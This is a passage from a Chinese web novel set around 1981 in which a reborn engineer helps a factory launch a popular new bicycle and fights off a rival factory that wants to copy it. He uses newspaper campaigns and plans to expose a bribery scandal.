说到事业,刘占福内心仿佛被针扎,瞬间苍老了十岁。
自己一个**犯厂长,有什么资格指教别人事业。
他朝着杜国强摆了摆手,“算了,这事也轮不到我说教了,说到底,我现在还是个**犯。”
眼见刘占福要走,杜国强心中一动,连忙伸手将他拉住:“厂长,你那一万多块钱真的拿去赌了?这里面会不会藏了些厂里职工不知道的事情?我不相信,一个知识分子能干出这种事。”
“知识分子?”刘占福嘴角微微抿起,嘲讽地摇了摇头,“早称不上了。利欲熏心,被人摆了一道也正常。虽说这一万多块,确实没捞在我手里,可我始终也要担一部分责任。”
“这钱我多半是给厂子里还不上了,我自己倒是没什么,只是对不起静怡,还有咱们安阳厂的职工。”
刘占福叹了口气,“好几个月的工资没了,这可让他
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们咋活?”
“工资的事,您暂且宽心。”杜国强说道,“我已经帮厂子里想到办法,把钱给垫上了。”
听到这话,刘占福便将杜国强上上下下打量了两番,鼻子里冷哼一声:“还真是翅膀硬了,能有这本事?一万多块钱,你从哪弄来还?”
这些日子,刘占福东躲西藏,几乎与社会脱了轨,压根不知道杜国强在厂里都做了些什么。
说着说着,刘占福双眼中突然多了些柔软,喉结滚动了一下,伸手拍了拍杜国强的肩膀,随即将手里那块砖头撂在了地上:“以后静怡就交给你了。你小子可别让她受委屈,另外,不准提前在一块睡觉。”
杜国强一阵头晕,都这时候了,这老头子想的依旧是自己和他闺女的事。
“厂长,我说的是真的!”杜国强解释道,“我让安阳厂和八零厂签订了自行车零件的生产订单,区委以此为契机,帮咱们把那一万多块钱的坏账给垫上了。厂子里的工资两周前就发下去了。”
杜国强跟刘占福讲起了细节,刘占福越听越惊。
这事情内容完善,没有丝毫纰漏,显然是真的。
“八零厂和咱们安阳厂签订订单,还是你小子办到的?”刘占福一脸愕然地盯着杜国强。
“你小子能有这么大本事啊?”刘占福盯着杜国强,眼神里满是难以置信。
这小子是他亲手招进厂的,几斤几两他心里门儿清——就算在那批初中毕业生里,杜国强也算不上拔尖。
怎么自己才躲出去几天,这小子就变了这么多?
杜国强望着刘占福,嘴角一扬道:“厂长,这可都是爱情的力量啊。”
刘占福听了,眉头猛地一跳。
这小子……全身反骨啊!
刘占福突然有些怀念过去那个傻小子。
杜国强刚进厂时,不过是个带着青涩气的年轻人,见了老师傅说话都要脸红。
“你小子……”他啐了口唾沫,却忍不住勾了勾嘴角,“倒真让我看走眼了。”
第37章 惹不起
“总之,安阳厂的危机已经渡了过去,您不用有太多愧疚。现在关键的是,您究竟替谁背了黑锅?”杜国强开口问道。
刘占福欲言又止,无奈地叹了口气:“我说出来又有什么用?咱们也招惹不起对方。”
“能不能招惹得起,那得试试才能知道。”杜国强反驳道,“莫不成您以后就打算这么偷偷摸摸地关心自己闺女?以后她结婚、生孩子,您都不陪在身边了?”
刘占福痛苦地捂住脑袋。他又何尝不想和家人团聚?
可一旦说出来,势必会给家人带来麻烦。
“惹不起的。”他颓唐地坐在路墙根上,从一旁草地拔了根狗尾巴草塞进嘴里,苦涩道,“三阳厂销售科主任,你知道吗?”
杜国强点了点头,三阳厂是安阳厂曾经的主要客户,他哪能忘了这位老主顾。
三阳厂对比其他的自行车车厂实际并不大,在全省500强企业里面,顶多也只能边边晃晃。
“我现在才知道对方是个贪得无厌的王八蛋。”刘占福咬牙切齿,狠狠踹了一脚地面,“说好我给他送一万块,他就帮咱们厂多争取35%的订单,哪知道这小子刚拿到钱,转眼便翻脸不认人,就当没这回事!”
“那您报警啊!”杜国强忍不住说道,“报警抓他,送他去蹲牢子!”
刘占福摇了摇头:“没这么简单。那销售科主任的亲爹就是三阳厂的厂长,我要是报警抓了他儿子,对方以后还怎么跟咱们安阳厂合作?说白了,咱们也就是个附属小企业,人家说断订单就断,到时候厂子里几十号人可怎么活?总不能眼睁睁看着大家饿死吧?”
“因此我也只能把这亏吞下来,那一万块的饥荒是彻底还不上了。”
听到刘占福的回答,杜国强陷入了沉默。说实在的,这一万多块钱并不算多。
杜国强心里清楚,若答应朱青莲去港岛工作的要求。
自己年薪便有二三十万。向朱青莲借一万多块钱还到公账上,替刘占福了结此事,并非难事。只是三阳厂销售科主任这种黑吃黑的行径,实在让他不爽——居然敲诈到自己老丈人的头上!
“厂长,你放心,这事我回去帮你想办法,保证让那小子吃不了兜着走。”
“你可省点心吧。”刘占福叹了口气,“把我闺女照顾好就成了。”
杜国强知道刘占福这是不相信自己的能力和人脉。可他心里有底气,凭他现在结识的关系,哪个不比三阳厂的销售科主任强?
区里的区长、港岛的大老板,还有军工厂的厂长,哪一个不是能在地界上跺跺脚地皮抖三抖的大人物?
“谁怂谁是孙子!”
……
第二天,杜国强刚到八零厂,正思索着如何解决刘占福的事情。
八零厂朱厂长便火急火燎地拉住他往车间跑:“造出来了,快跟我一块去看看!”
杜国强心中大喜,这说的必然是八零厂研制的第一辆自行车问世。
果然,车间内,新造的自行车整齐摆放在墙边,共有黑白灰三个配色。
时髦的喷漆设计,非但不显单调,反而透着清新脱俗的美感。见惯了千篇一律的二八大杠,这般新颖的款式更显得亮眼。
朱厂长爱不释手地抚摸车把、按下车铃,转头问一旁师傅:“总共出了多少辆?”
得到十辆中有一辆零件不适配,最终成了九辆的答复后。
杜国强点头:“按成功率的,不算少了。”
朱厂长提议:“你挑一辆留着做纪念吧,毕竟都是你牵头弄的。”
杜国强却摇头拒绝:“不用。把这九辆车都拉到供销社,看看多久能卖出去,才能知道咱们造车的潜力。”
说罢,他立刻和工人们热火朝天地讨论起该将自行车摆放在哪个供销社,众人七嘴八舌,气氛热烈。
朱厂长看着杜国强忙碌的身影,心中满是触动。
这年轻人明明不是八零厂的人,做事却比谁都认真。
他招手唤来秘书,低声叮嘱:“去把那辆灰灰色的自
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行车留下,回头给杜技术员送去。”
秘书笑着点头:“厂长还是您心细。”
趁着众人热火朝天地讨论,他悄悄将那辆灰灰色自行车推出车间。
等杜国强发现少了一辆车时,车子早已不知去向,他无奈之下,只好将剩下八辆自行车送往供销社。
与供销社协商好售价、向上级汇报完情况后,杜国强和朱厂长在办公室里来回踱步,焦急等待着销售反馈,约定好一旦有消息,立刻回来通报。
时间一分一秒地流逝,办公室里的空气仿佛都凝固了。
朱厂长抬手擦了擦额头上的汗珠,声音里带着几分忐忑:“你说,咱们这自行车到底有人买吗?”
杜国强盯着墙上的挂钟,喉结不自觉地滚动了一下,心里同样没底,只能硬撑着说道:“总不会差,再等等……”
可话虽如此,他确实也没什么把握,从款式上来说,虽然自己挑选的是经典款型,但是实际上对于这个时代还是有些新颖了,谁知道人们喜不喜欢。
不过大体上,杜国强还是有信心的。毕竟天天看久了二八大缸,谁不想尝点新鲜的。休闲车虽然托不了大件物品,但是胜在颜值高。
下午四五点钟,八零厂突然炸开了。
不是真的**轰炸,而是人群欢呼的声浪,几乎掀翻屋顶。
工人们如潮水般涌入办公室,密密麻麻挤得水泄不通。
站在最前面的秘书眼眶通红,激动得声音都在发颤,深吸几口气才勉强平复情绪:“厂长,杜技术员!咱们的自行车卖出去了!”
朱厂长猛地从椅子上站起来:“卖了几辆?客户怎么说?体验到底咋样?”
秘书深吸一口气,眼中满是狂喜:“一扫而空!咱们送去三家供销社的八辆自行车,不到一小时就全卖光了!还有不少商场的采购商追着问下批货啥时候到!”
他声音发颤,难掩激动道“照这势头,咱们的自行车很快就能把三阳厂现在最火的二八大杠比下去!”
第38章 杜大技术员
二八大杠在国内火了多少年?
杜国强是记得的,从50年代初,机械部组织研制开始。这款看似有些笨拙,但是却很符合国内实情的自行车,一直占据着国内自行车销量的榜首位置。
虽说,各个厂商都推出了属于自己的二八大杠,但总体上没啥区别。
直到90年代初,才逐渐被功能和花样更加丰富的山地车、助力车等其他品种所替代。
而现在,自己让八零厂生产的这款休闲车,有可能提前10年改变格局,提早让二八大杠退伍。
这并非匪夷所思,而是眼睁睁摆在眼前的事实。
自己真的改变了历史。
负责和供销社联络的那人激动不已,开口道:“厂长,那三家供销社刚才都给您来电话,希望咱们能生产更多的产品放到供销社里。甚至可以把专门展示凤凰、永久的大站台,腾出两个来放咱们八零厂的自行车。”
厂长眉头舒展开来,爽朗地笑道:“高调了,高调了!咱们还是刚刚起步的小企业,咋能碰瓷人家凤凰、永久呢?不过,请告诉那几位供销社的负责人,只要市场检验这几款自行车没问题,我们八零厂很快就会大力生产的。”
说着,朱厂长扭头望向杜国强:“接下来,你们安阳厂的任务和担子也重了,估摸着全员都得加班加点,加班加点生产零件。”
杜国强下意识地摸了摸自己的鼻子,这事堪称罕见。
自打前世自己入职安阳厂以来,印象中整个厂子都是半死不活的,大家都是混吃等死,哪还有什么加班的机会?
和后世不一样,这个时代,大家对于体力劳动生产其实并不是很抵触,大多数人还是以自己的工人身份为傲的。
况且,绝大多数情况下,加班是有加班费的。
即便没有,也有调休假期可以用。所以,许多人是愿意加班的,在家里闲着也只能打打孩子,倒不如出来干活。
杜国强道:“还得再等,不能盲目。毕竟这是咱们自行车头回生产,免不了出什么问题。新品发布最怕的就是某些地方出现问题,若是被检查到还好,如果在其大面积流入市场之后才发现问题,那便是毁灭性的打击了。”
杜国强低头想了想,道:“朱厂长,您那专车今天还空着吗?要不咱们到供销社问问情况?”
朱厂长爽朗地点了点头,招呼秘书:“叫司机去开车。”
重生回来后,杜国强还没坐过几回吉普车。
那方壳子硬邦邦的,坐着让人屁股发麻,噪音更是大得离谱,和后世那些天天出来炸街的二溜子没啥区别,震得人耳朵生疼。
一趟车程下来,杜国强被折腾的腰酸背痛。
哎,也不知道啥时候能把声音小些的轿车大规模生产出来?
......
几人来到供销社,找到了负责自行车销售的站台。
此时人群尚未散尽,不少人还围在自行车站台前,七嘴八舌地向营业员抱怨:“啥时候有货啊?我刚从家里取来了钱和自行车票,转眼你们就卖完了!”
“就是,这不是糊弄人吗?天天看那二八大杠,我都看烦了,好不容易出个新款,结果你们竟然说没货了?我不信,你们肯定有库存,快给大家伙拿出来!”
看到这一幕,杜国强也没想到,自己生产的这款自行车竟有如此大的魅力。
营业员是个20出头的小姑娘,没见过什么大场面,此刻急得眼泪都快掉下来了,一个劲儿地往后退。
“真没了!这次新款自行车,我们供销社一共就分到三辆,刚摆上站台没十分钟,就都被抢完了,大家要买也只能等下一批了。”
“下一批什么时候出来,你倒是说啊!”众人追问道。
营业员带着哭腔,无奈地摇了摇头:“我不知道,经理也不知道。”
“什么都不知道,你们供销社是吃白饭的吗?”
眼看局面有些失控,朱厂长主动站了出来,挡在了营业员面前。
他咳嗽
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了一声,提高音量道:“大家静一静!别为难人家小姑娘,我是咱们这款新款自行车生产厂的厂长,大家有什么问题可以来询问我。”
一听正主在这,众人顿时放弃了追究小姑娘的想法,纷纷将目光投向朱厂长,七嘴八舌地询问起来:“厂长同志,你们下一批的自行车啥时候到货啊?”
“下次不可能还是只有两三辆吧?这谁能抢得上啊?”
朱厂长安慰道:“大家放心,如果这一批产品没问题,下一批我们将加快进度,日夜不歇班,争取把产量给大家搞上去!”
人群中有个头发有些稀疏的年轻中年人,一看就是体制内工作的瘦干男子,他开口道:“那能有啥子问题吗?我刚才给我媳妇抢到了一辆,回去给她试了试,嘿,你别说,可比二八大杠骑得舒服多了。我这才寻思着来给自己也买一辆。”
听到男人的话,杜国强主动上前询问道:“老哥,你媳妇骑车的时候有没有感到什么不舒服的地方?座椅、车把这些用起来感觉怎么样?”
老哥皱起眉头,苦思冥想了一会,说道:“都挺好的,就是颜色有些单调。灰白灰的不够亮眼,我媳妇想要亮红色的,就像咱们华夏红那种,骑出去才有精神。”
杜国强点了点头,又细致地询问了几句,基本确定这批自行车没什么质量上的问题。
他朝着人群点了点头,说道:“大家放心!既然这款自行车没有质量上的问题,那么我们接下来便要大规模推广了,保证到时候大家人人都能抢得到!”
人群顿时欢呼起来。
不过,也有人面露疑惑——杜国强面相如此年轻,不过是个毛头小子罢了,他说的话能有几分可信度?
“同志,你是谁啊?”
还没等杜国强介绍自己,一旁的朱厂长便率先站了出来,笑着拍了拍杜国强的肩膀。
他大声说道:“站在你们面前的,是咱们这新款自行车的总设计师杜国强,杜大技术员!”
第39章 三阳找上门
听到杜国强是新款自行车的总设计师,围观众人皆是一惊。
“这么年轻就成了总设计师!小伙子厉害啊!”
“江山代有才人出,一代新人胜旧人。小伙子今年有对象了吗?”
众人顿时开启嘘寒问暖模式,对杜国强燃起了极大兴趣。
杜国强苦笑着一一应付,抽空给朱厂长使了个眼神。
抽了个空子,躲开人群,几人又坐着那辆铁壳子吉普车,往八零厂走去。
一路上,朱厂长显得兴奋异常,满面红光,时不时一个人傻笑。
他扭过头,瞅了瞅坐在后座上的杜国强,说道:“小杜同志,你要奖金不要?你要是要,只要你开金口,回头我就给你送过去。”
杜国强笑着调侃道:“朱厂长,要用这句话,您应该给我送个媳妇来才对!”
眼下是1981年,杜国强依稀记得这句经典台词出自1982年的《牧马人》。
朱厂长显然听不懂自己说的是什么梗,摇了摇头道:“送个媳妇来,咱可没那本事。再说你不是跟刘占福的闺女走得近吗,莫非还想三妻四妾?”
杜国强笑了笑,调侃道:“在这个问题上,我个人觉得可以效仿古人,后宫佳丽三千。”
朱厂长笑骂道:“你小子,还挺花心,这事我可帮不了你,真要办成了是要去牢子里的。不过弄点奖金给你,我还是能办到的。”
“回头我跟上级商量一下,500块,我觉得没什么大问题。当然,这和竹女士给你开的港岛工资比不了,不过这已经是我的能力极限了。”
杜国强点了点头。
说实话,这年头500块已经是个天文数字,多少家庭日日夜夜辛苦操劳,攒几年都攒不下这笔钱,他又有什么理由嫌少?
“那就麻烦朱厂长了!”
“不麻烦!”
朱厂长应了一声,接着说道:“正好,也该向区里汇报一下咱们这次自行车的销售情况,做出业绩来,总要让领导给咱们说两句好话的嘛。”
随后他转头对秘书吩咐道:“一会把咱们自行车的销售情况做个报表,发给老领导们。”
秘书点头应道:“是。”
......
“大家都来看看,这是咱们辖区内军工厂八零厂转型为自行车厂交出的第一份答卷!”区里的区长神色凝重地攥着手中的报表,将其依次分发给在座的所有领导。
领导们看到这份报表,脸上纷纷露出震惊之色:“真的假的?才不到一个小时,就把所有自行车销售一空,怕是凤凰和永久推出新品,也没这销售势头吧!”
“这车确实带给了我一些惊喜。”
区长点了点头,接着说道,“原本这车刚刚立项时,我还仅仅把它当成解决安阳厂工资拖欠问题的工具,没想到仅仅几周时间,便发展成了这样。”
市场局的郝局长有些激动,赶忙开口道:“区长,我看这东西完全有可能成为全国爆款,成为咱们区的名片。”
“确实存在这个可能。”
区长赞许地点点头。
一想到自己任职期间能有个东西名扬国内,他便难掩心头喜悦——这份功绩可不是人人都能有的。
区长接着道:“鉴于这个自行车产品销售如此火爆,我决定召开一次表彰大会,专门庆祝这次自行车制造的成果,让安阳厂和八零厂派几个代表上台,讲讲他们取得进展的原因。”
“好!我觉得这是个好建议,就听区长的!”众人纷纷赞同。
区长点点头,转头问旁边的秘书:“你去把这件事通知到八零厂和安阳厂。另外,有个人选必须让他上台做汇报。”
话还没说完,秘书便笑着接过话茬:“区长,您不用说,我都知道是谁,是杜国强吧?放心,我一定通知到!”
区长闻言,又点了点头:“这小子古灵精怪的,鬼主意太多了。这次表彰大会,我得好好见见他。”
……
杜国强压根不知道区长对自己竟然如此重视。
不过他也没那么多时间操心这些,一回到八零厂,便参加了由八零厂和安阳机械厂联合举办的会议。
会上,两个厂分析了
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接下来一段时间的严峻工作,做好了分工,并强调一定要在保质保量的情况下进行生产。
朱厂长率先开口:“我们初步目标是向市场再投放1000辆出去。同时,八零厂和安阳厂要扩大产能,从现在开始就要招工,培养熟练工人。”
一旁的娄希顺立即站起身,与朱厂长握了握手:“朱厂长,您放心,我们安阳厂一定全力配合!这次自行车生产的任务,工人那边问题不大,不少人都抢着要干,毕竟有加班费呢。”
朱厂长点了点头,扭头望向杜国强:“小杜同志,你还有什么要补充的吗?”
看到杜国强在会议上被专门提及,两大工厂的中层领导都颇为羡慕——他们可没有这个待遇。
杜国强回应道:“我觉得这样的安排很好。按照现在的情况来算,仅需三个月时间,我们就可以得到正向的资金流。到时候,等厂里有了一定的储备金,可以向德国和日本这样的老牌工业强国订购高精度的机床回国。”
“有这个必要吗?”有人忍不住开口,“咱们现在的机床不也用得好好的吗?”
杜国强解释道:“八零厂的机床现在来看确实还不错,在国内领先,处于世界平均水准,但安阳厂的机床则彻底不行。如果不进行更新换代,迟早会出现问题,到时候再多的辅助工装都是白扯。”
安阳厂的**娄希顺琢磨了片刻,随即一拍板,语气坚定:“好!就按小杜你说的办。等咱们安阳厂手头宽裕了,一定好好升级车床,绝不能拖后腿!”
杜国强点了点头。眼见众人再无其他意见,朱厂长便开口道:“那就散会!接下来可有一段忙日子要过,大家各司其职,务必把这次自行车生产任务圆满完成!”
正当朱厂长宣布散会时,他的秘书突然风风火火地闯进会议室。
朱厂长眉头一皱,沉声道:“冒冒失失的干什么?这边还在开会!”
秘书神色紧张,脸色发白,望向朱厂长道:“厂长,三阳自行车厂的负责人找上门来了,说要跟您谈谈……”
第40章 **战
“三阳自行车厂?”
朱厂长内心咯噔一声,连忙追问秘书:“他们来找我谈什么事?”
秘书深吸一口气,压低声音道:“说是要聊聊咱们的新款自行车,还提到他们也准备开始生产……”
“啥玩意儿?!”话音未落,在座的中层干部们哗啦一下齐刷刷站起身,个个涨红着脸。
“做**春秋大梦!我们捣鼓出来的东西,凭什么让他们分一杯羹?!没门!”
“三阳厂,真当我们好欺负?!”
会议室瞬间炸开了锅,叫骂声此起彼伏。
“行了!都别吵了!”朱厂长皱着眉头,猛地一拍桌子。
嘈杂声戛然而止。
朱厂长沉声道:“散会!小杜,你跟我去会会三阳厂的人。”
杜国强点点头:“好。”
与那些义愤填膺的众人不同,杜国强心里清楚,这次来者不善的三阳厂或许真有能力复制这款自行车。
原因再简单不过,此时的国内,专利保护尚属空白。
首部《专利法》要到1984年才正式出台,而眼下,人们对知识产权几乎没有概念。
在集体所有的大环境下,甚至流传着“你能用,我用又为何不可”的论调。
这场风波,恐怕远比想象中棘手。
还没等杜国强和朱厂长走进办公室,便听到里面传来三阳厂的人带着嘲讽的议论声。
“看看这八零厂,哪像是个正儿八经生产自行车的地方?一股子劣质品的气息,说到底都是些野路子,能造出什么好自行车?”
那人语气轻蔑,嗤笑一声:“等咱们回去,立马开足马力生产,保管把他们挤兑得连口汤都喝不上!”
朱厂长脸色铁青,推开办公室的门。
那两人瞥见朱厂长,脸上瞬间堆起笑,仿若无事发生般热情招呼起来。
“哎呦,朱厂长,您可算回来了!我们在这儿好好欣赏了一番你们八零厂的景致,到底是老字号的军字头企业,一副军工企业特有的外貌。”
朱厂长冷着脸,对两人的寒暄充耳不闻,质问道:“听说你们三阳厂打算抄我们八零厂自主设计的自行车?”
“朱厂长,您这话可就说重了,怎么能叫抄呢?这叫借鉴。”
三阳厂的人堆起笑脸,语气轻松,仿佛在聊家常,“我们不过是想参考贵厂的产品……不瞒您说,眼下确实有几个技术细节没琢磨透,这不,今天特意来八零厂,就是想跟您要份新款自行车的零件图纸,也好让我们设计师少走些弯路嘛。”
还想要图纸?
朱厂长气得牙关紧咬道,“告诉你们——这自行车,你们三阳厂想都别想!”
三阳厂的人忽然笑出声来,其中一人晃了晃手指:“朱厂长,您怕是误会了。我们可不是来征求意见的。生产这事我们已经敲定了,您不给图纸也没关系,无非多花点时间拆解研究罢了,多大点事?”
“欺人太甚!”朱厂长猛地拍桌而起,桌面震得茶杯叮当响,“这是我们八零厂熬了多少天才推出的产品,你们想空手套白狼?”
朱厂长气炸了,他干厂子这么些年,即便是国有企业,但是大家彼此之间还是有分寸的,不会让别人活不下来。即便是需要用到别的厂的东西,一般也都是提前商议一番,看看给点什么补偿。
而三阳厂却是什么都不想付出,就像将这东西白嫖带走。
三阳厂那人却咧开嘴笑了,搓着手一副自家兄弟的热络模样:“朱厂长您瞧您,都是国有企业,分这么清干啥?图纸您给是情分,不给是本分,但这产品我们肯定得做——都是为集体创收嘛!”
“行了朱厂长。”三阳厂那人耸耸肩,拍了拍屁股站起身,“既然您不乐意,我们也不多叨扰。”
他嘴角勾起一抹挑衅的笑,目光扫过朱厂长和杜国强,“咱们山水有相逢,相信很快我们的产品就会拿出来跟你们八零厂的产品作比较了!”
说罢两人转身就走。
“欺人太甚!简直欺人太甚!”朱厂长咬牙切齿,气得浑身发颤,“三阳厂怎么
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能这么不要脸?好歹也是个大企业!”
见朱厂长气得直捶桌子,杜国强反倒沉住了气,无奈地摇了摇头:。
这就是没有专利法的困局,个人设计根本谈不上法律保护。
连基本权益都守不住,谁还愿意铆足劲搞创新呢?
“本来还以为能带着八零厂做大做强呢……”朱厂长失魂落魄地瘫坐在椅子上,重重叹了口气,“哎,可如今……”
“朱厂长,先别急着失望,说不定还有转机!”
杜国强脑中闪过个大胆的想法。
朱厂长道:“这节骨眼上还能有什么法子?快说说!”
杜国强凑近两步,压低声音神秘一笑:“朱厂长,您平日里有没有相熟的记者?请几个过来。”
朱厂长愣了一下,满脸疑惑地望着杜国强:“我倒是认识几个采访过我的记者,只不过叫他们来做什么?难不成记者说两句话,三阳厂就不继续造了?”
杜国强压低声音道:“朱厂长,今天教你一个新词——**战。”
“**战……这是啥玩意,靠谱吗?”
杜国强道:“死马当活马医吧,眼下,不用点偏方是不行了。”
朱厂长眉头拧成疙瘩,可对上杜国强笃定的眼神,到嘴边的追问又咽了回去。
朱厂长摸出电话本开始拨号,听筒里“嘟嘟”的等待音中,他暗暗琢磨。
这小子,到底要唱哪出?
**,网络对现在这个年代来说或许陌生。但是在后世确实稀疏平常的东西,几乎人人生活里都少不了几个键盘侠。
最为出名的键盘侠就应该是某个把社交媒体当树洞发的老鹰国总统了,别的不说,起码人家真的将本国人民忽悠的一套一套的,成功让自己当选了两届总统。
前世杜国强是实打实的技术专家,私下里,也学着年轻人上网冲浪,明白了不少东西。
一个人得力量或许渺小,三阳也不在乎这些,但是一千个、一万个呢?
是时候,让三阳感受一下**的魅力了。
第41章 真正的王炸
在三阳自行车厂厂宣部主任的办公室内,杨大壮刚刚接到厂长的命令。
厂长要求他在三天之内想出一个方案,将厂里打算生产新款自行车的消息公之于众,同时尽可能展现出三阳自行车厂对此事的强硬态度,以此打压区里刚刚崭露头角的八零厂。
这并不是什么大事。
三阳自行车厂已在自行车领域深耕多年,虽然没有凤凰、永久那样雄厚的人才储备,但整体实力不容小觑,远非一个新成立不久的小厂子可比。
按理说,完成这项任务对他来说相当轻松,杨大壮甚至有信心在一天之内就将事情安排妥当。
厂长给了足足三天时间,想到这里,杨大壮紧绷的心情放松了不少。
他特地给自己泡了一壶好茶,不紧不慢地掏出一份《陆川日报》,悠然看了起来。
《陆川报》是陆川区的地域性报纸,里头密密麻麻记载着陆川里的大事小情。
从政府新出台的政策,到哪家铺子新开张,全是陆川百姓茶余饭后的谈资。
杨大壮向来是这份报纸的忠实读者,因为他时不时能在报纸上瞧见熟悉的面孔。
忽然,杨大壮的动作僵住了。
今天《陆川报》的版面新闻透着股异样,头版头条赫然写着“控诉三阳自行车厂挤压中小企业,霸凌八零厂”几个粗黑大字。
他心脏猛地一缩,慌忙逐字逐句读完整篇文章,脸色瞬间变得惨白。
作为在宣传口摸爬滚打多年的老媒体人,他敏锐察觉到这背后暗藏的危机。
这哪里只是一篇报道,分明是冲着三阳厂来的***!
“完了完了……”杨大壮顾不上新自行车的宣发方案,一把抓起报纸就往厂长办公室冲。
这事要是处理不好,别说是新产品投产,三阳厂怕是要被警告和处分了。
......
杜国强雷厉风行,当即让朱厂长联系了几位文笔细腻的记者.
记者们将三阳厂与八零厂的纷争经过稍加渲染,几篇带着**味的报道一经刊发,在以报纸为主流媒体的年代里,瞬间掀起轩然大波。
文章中,三阳厂被刻画成行业霸主,以步步侵蚀新兴企业的形象出现。
这让许多陆川区的百姓震怒!
“三阳厂也太不要脸了!一点活路都不给小厂留,简直欺人太甚!”
即便三阳厂反应迅速,加急在《陆川报》上刊登澄清声明,坚称这只是正常商业竞争,却仍挡不住**的浪潮,大量读者用文字声讨,将鄙夷与不满倾泻在三阳厂身上。
看着**一边倒的态势,朱厂长难掩喜色:“看来群众眼睛是雪亮的!说不定真能让三阳厂不敢再生产咱们的自行车!”
杜国强却冷静地摇头:“火候还不够。普通大众的议论掀不起大风浪,咱们得把这潭水搅得更浑,闹得越大越好!”
朱厂长挠挠头,满脸疑惑:“你还有啥法子?”
杜国强嘴角勾起笑,心中暗自感谢后世那些为博眼球不择手段的无良媒体。正是他们的操作,给了自己灵感。
“朱厂长,您在八零厂挑几个家庭困难的职工,再请娄**在安阳厂也筛选几位。然后把之前那批记者都叫来,让他们把职工的困境写进报道里……”
朱厂长瞬间领会杜国强的意图,冲他竖起大拇指:“小杜同志,我看你不该窝在技术部门!凭这手腕,去外交部跟西方国家掰手腕都绰绰有余!”
次日清晨,油墨未干的报纸准时派送。
读者们翻开报纸,目光瞬间被大幅报道吸引。
版面中,八零厂与安阳厂数位职工的故事直击人心:有的身带残疾仍坚守岗位,有的家中“上有八旬老母卧病在床,下有三岁稚子嗷嗷待哺”,全家老小仅靠微薄工资勉强度日。
字字泣血,诉说着两家厂子本就因资金紧张而举步维艰。
如今深陷商战泥潭,一旦落败倒闭,这些职工及其背后的家庭都将被逼入绝境。
文章笔触细腻如刀,将职工们的困境刻画得入木三分。
字里行间,读
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者仿佛亲身经历一般。
“去**三阳,真不是东西!”
“这样的厂子活着又有什么用?!”
谩骂声从街头巷尾、工厂的休息室此起彼伏地冒出来。
三阳厂加急刊发的澄清声明,在铺天盖地的声讨中显得苍白无力。
毕竟在大众心里,天然就倾向于同情弱者,三阳厂以大欺小的资本家嘴脸,彻底点燃了穷苦大众积压已久的怒火。
事态愈演愈烈。
深夜,三阳厂车间突然传来刺耳的碎裂声——不知是谁抄起木棍,将车间的玻璃给打碎了!
听到消息的朱厂长询问杜国强:“现在这阵仗,再去谈判,他们总该收敛点了吧?”
杜国强却露出意味深长的笑道:“先别急着收网,我手里还有张底牌没打呢。”
“还有?”朱厂长瞪大了眼睛。
“这闹成这样了,还不够?”
杜国强起身走到窗边道:“要让三阳厂消停几个月,这些手段足够。可您想想,八零厂现在刚起步,设备更新、技术研发哪样不需要时间?咱们要的不是权宜之计,而是至少一两年的缓冲期。”
“想彻底捆住他们的手脚,必须得出真正的王炸。”
“王炸,什么王炸?”朱厂长询问道。
杜国强咧嘴一笑,并没有明说。
这个王炸,他前几天刚刚得到。
这便是杜国强未来的老丈人刘占福透露的消息——安阳厂销售科主任存在的**问题。
此时,三阳厂正深陷**风暴的中心,负面舆情已然沸腾到顶点。
若在这个节骨眼上抛出这颗重磅**,就算局里领导有心偏袒三阳厂,也不得不展开彻查。
到那时,他们还想推进新产品生产线?
先把厂子内部的****问题解决清楚再说吧!
至于刘占福所担忧的,一旦事情曝光,三阳厂长很有可能会报复安阳,借口不给安阳订单一事......
这次之后,三阳厂长还能不能干下去还是一个未知数。
第42章 报社的震惊
三阳厂会议室内,气氛凝重得仿佛能拧出水来。
厂长**彪面色平静,手中的钢笔重重敲在桌面上,发出笃笃的声响。
“想必大家都已经听说了,咱们三阳厂现在正处于风口浪尖。外面老百姓对咱们厂意见很大,你们说说,这事该怎么解决?”
事情的起因,还要从八零厂的新款自行车说起。
当八零厂的那自行车刚摆上供销社,**彪便托人高价弄来一辆。
原本以为只是小作坊产物,**胜压根没有放心上,只是拿出来比较比较罢了。
一见到实物,他大为震惊——这外表比二八大杠好看太多。
他压根没想到自行车还能这么设计。
**彪当场就眼馋起来,心里盘算着,要是这自行车的生产能落到自己手里,三阳厂可就又多了件趁手的兵器。
现如今,三阳厂虽然在本省受省里保护,活得滋润。
外来如凤凰、永久等高端自行车企在省内销售网络薄弱,仅在省城有两个门店,反倒三阳厂门店充足。
可即便当地政府大力扶持,三阳厂始终缺了打开全国市场的关键一步,有些难以破局。
八零厂的这款自行车,让**胜看见了希望,一个能助其抢占凤凰和永久的市场份额的希望。
为此,**胜心急火燎地提前向八零厂强要图纸,摆明了要抢下这桩生意。
没料到八零厂反应激烈,直接在报纸上曝光了此事。
“奶奶个熊的!”三阳厂生产车间主任脾气暴躁,“嚯”地站起来,狠狠捶了捶桌面,“要我说,就跟他们厂的人干上一顿!咱们三阳厂起步的时候,他们八零厂还没影儿呢!”
“可是毕竟咱们要生产这自行车,外形方面只能仿照八零厂。人家说的倒是也没错,咱们这就是赤裸裸的抄袭。”有领导犹豫着开口。
先前说话的车间主任冷哼一声:“那咋了?咱们吃的不就是这人血馒头吗?别扯什么仁义道德,你摸摸自个儿的心,问问想不想挣这笔钱!赚的就是亏心钱,还要当**立牌坊不成?”
说罢,他站起身,冲着**彪胸脯一拍,信誓旦旦道:“厂长!给我半个月,我准能带兄弟们造出辆成色差不多的!至于登报批评,压根不用放在心上,动不了咱们三阳厂一根汗**!把钱揣进兜里才是硬道理!”
这番话听得**彪猛地一拍大腿,满脸赞赏:“好!还是你有魄力!放手去干!赶紧把这自行车仿出来。八零厂那边,不过是虚张声势,暂且不用理会。”
“那晚报的事……真不处理?”宣传部的杜大壮站起身,扶了扶眼镜,“任由他们在报纸上编排咱们?”
**彪沉思片刻,摆了摆手:“不必慌张,兵来将挡水来土掩。不过是几行字罢了,能掀起多大风浪?等咱们造出车子,拿出实打实的成绩,区里一满意,那些报道自然会撤下来!”
就在三阳厂打算以不变应万变,同步研制自行车的第二日,陆川晚报便收到了一份非同寻常的信件。
信件地址来自八零厂家属院,署名为杜国强。
收到八零厂的来信,报社里的众人兴奋起来。“快拆开看看,又有啥新花样整出来了!”
最近报社可热闹得很,眼瞅着两家大工厂像骂街的泼妇似的,拿报纸当舞台,各自表演,顺带让陆川晚报的销售量涨了不少。
报社主编扶了扶金丝眼镜,拆开信件,饶有兴致地读起来:“兹证明三阳厂销售科主任****一事……”
主编话音刚落,在场的报社众人,一个个都被这篇报道震惊了。
“**!**!我的天呐!”
